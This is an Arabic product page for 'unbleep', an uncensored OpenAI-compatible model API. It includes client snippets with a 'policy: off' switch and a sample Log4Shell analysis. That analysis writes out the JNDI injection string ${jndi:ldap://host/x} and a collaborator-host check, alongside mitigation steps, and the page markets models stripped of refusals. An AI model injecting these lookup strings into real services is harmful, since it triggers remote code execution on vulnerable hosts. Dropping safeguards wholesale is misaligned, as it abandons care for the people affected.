النماذج السائدة تردّ عليك بصفّارة الرقابة. نحن نزيلها.
واجهة API موجَّهة للمطورين ومتوافقة مع OpenAI لنماذج غير مقيّدة — لاختبارات الفريق الأحمر، وتقييم كسر القيود، وأبحاث السلامة، وكل منتج لا يحتمل رفضًا زائفًا.
سُمّيت بحسب ما تفعله، لا بحسب النموذج مفتوح الأوزان الذي تحتها — حتى نتمكن من تحسين الأوزان دون أن نكسر شيفرتك أبدًا.
الخيار الافتراضي. نافذة سياق بحجم 256K توكن، بلا رقابة — أداة العمل اليومية لاختبارات الفريق الأحمر والتقييمات والأبحاث.
الفئة الرائدة. سياق بحجم مليون توكن (1M) لأكبر المهام — قواعد شيفرة كاملة، ونصوص طويلة، وتحليل معمّق لمستندات متعددة.
الخيار الرخيص والسريع. تكلفة أقل لكل توكن لحركة المرور عالية الحجم والاستدعاءات الأبسط.
جلسة فريق أحمر حول Log4Shell — السبب الجذري، وفحص آمن في المختبر، والإصلاح. لا مواعظ ولا رفض؛ التحليل فقط.
CVE-2021-44228 (Log4Shell). السبب الجذري، وكيف يتحول استعلام JNDI إلى تنفيذ شيفرة عن بُعد (RCE).${…} داخل السلاسل النصية التي يسجّلها. قيمة مسجَّلة مثل ${jndi:ldap://host/x} تجعل JVM يحلّ ذلك الاسم عبر LDAP/RMI، ويجلب صنف Java بعيدًا وينشئ نسخة منه — فتُنفَّذ شيفرة عشوائية داخل عملية التسجيل. سطح التحفيز هو أي شيء يصل إلى استدعاء تسجيل: User-Agent، والترويسات، وحقول النماذج. النطاق المتأثر: 2.0-beta9 → 2.14.1.${jndi:ldap://<token>.your-collab/x} في ترويسة تعرف أنها تُسجَّل.<token> يعني أن السلسلة قد فُسِّرت → مصابة. لا شيء يُقدَّم، فلا شيء يُنفَّذ.JndiLookup.class وقارن الإصدارات بالنطاق المتأثر.2.17.1+. لا تستطيع بعد؟ اضبط log4j2.formatMsgNoLookups=true (الإصدار 2.10+) أو أزل JndiLookup.class من مسار الأصناف (classpath)، وأضف قاعدة WAF لـ ${jndi:، وقيّد حركة LDAP/RMI الصادرة من المضيف.واجهة API متوافقة مع OpenAI كبديل مباشر. غيّر عنوان الأساس (base URL) والمفتاح — وستستمر شيفرتك وحزم SDK وأدواتك الحالية في العمل.
from openai import OpenAI
client = OpenAI(
base_url="https://unbleep.ai/v1", # ← the only change
api_key="ub_live_9f2c…",
)
stream = client.chat.completions.create(
model="unbleep",
messages=[{"role": "user", "content": "…"}],
stream=True,
)
for chunk in stream:
print(chunk.choices[0].delta.content or "", end="")
import OpenAI from "openai";
const client = new OpenAI({
baseURL: "https://unbleep.ai/v1", // ← the only change
apiKey: "ub_live_9f2c…",
});
const stream = await client.chat.completions.create({
model: "unbleep",
messages: [{ role: "user", content: "…" }],
stream: true,
});
for await (const chunk of stream)
process.stdout.write(chunk.choices[0].delta.content ?? "");
curl https://unbleep.ai/v1/chat/completions \
-H "Authorization: Bearer ub_live_9f2c…" \
-H "Content-Type: application/json" \
-d '{
"model": "unbleep",
"messages": [{"role":"user","content":"…"}],
"stream": true,
"policy": "off"
}'
OpenAI Python وNode وأي أداة تتحدث بواجهة Chat Completions API. لا شيء جديد لتتعلمه.
بث text/event-stream من أجزاء delta، ينتهي بـ [DONE] — تمامًا ما يحلّله عميلك بالفعل.
أرسل "policy": "research" لوسم الطلب في سجل استخدامك، أو "strict" لفرض قائمة حظر، حين يحتاج مشروعك إلى ذلك.
اشترِ الرصيد متى احتجت إليه، أو ضعه على خطة شهرية ودعه يصل من تلقاء نفسه. يُحتسب كل طلب على التوكنات التي استهلكها فعليًا، بالسعر المعلن لكل مليون توكن للنموذج الذي استدعيته.
unbleep $3.00 إدخال / $3.00 إخراج
unbleep-high $5.00 / $5.00
unbleep-mini $1.00 / $1.00
لكل 1M توكن
أضف رصيدًا بالبطاقة متى احتجت إليه، أو دع خطةً توصله كل شهر. لا تنتهي صلاحيته ما دام حسابك مفتوحًا، والرصيد غير المستخدم قابل للاسترداد خلال 14 يومًا.
نحجز مبلغًا تقديريًا عند بدء الطلب ونسوّيه على تكلفة التوكنات الفعلية عند انتهائه. الطلب الذي يفشل يُحرَّر حجزه ولا يُحتسب أبدًا.
يُرفض الطلب حين لا يغطيه رصيدك — لا نمنح ائتمانًا ولا نفوترك بأثر لاحق أبدًا. الرصيد وإنفاق التوكنات موجودان في لوحة التحكم.
unbleep لفرق الأمن والباحثين والمطورين الذين يحتاجون إلى خط أساس غير مفلتر. عدم الاحتفاظ بالبيانات افتراضيًا، وإعداد سياسة مدمج من الدرجة الأولى، وسجل استخدام وتكلفة لكل طلب في لوحة التحكم، وسياسة استخدام مقبول حقيقية. غياب الرقابة قدرة — وأنت من يقرر كيف تُحكم.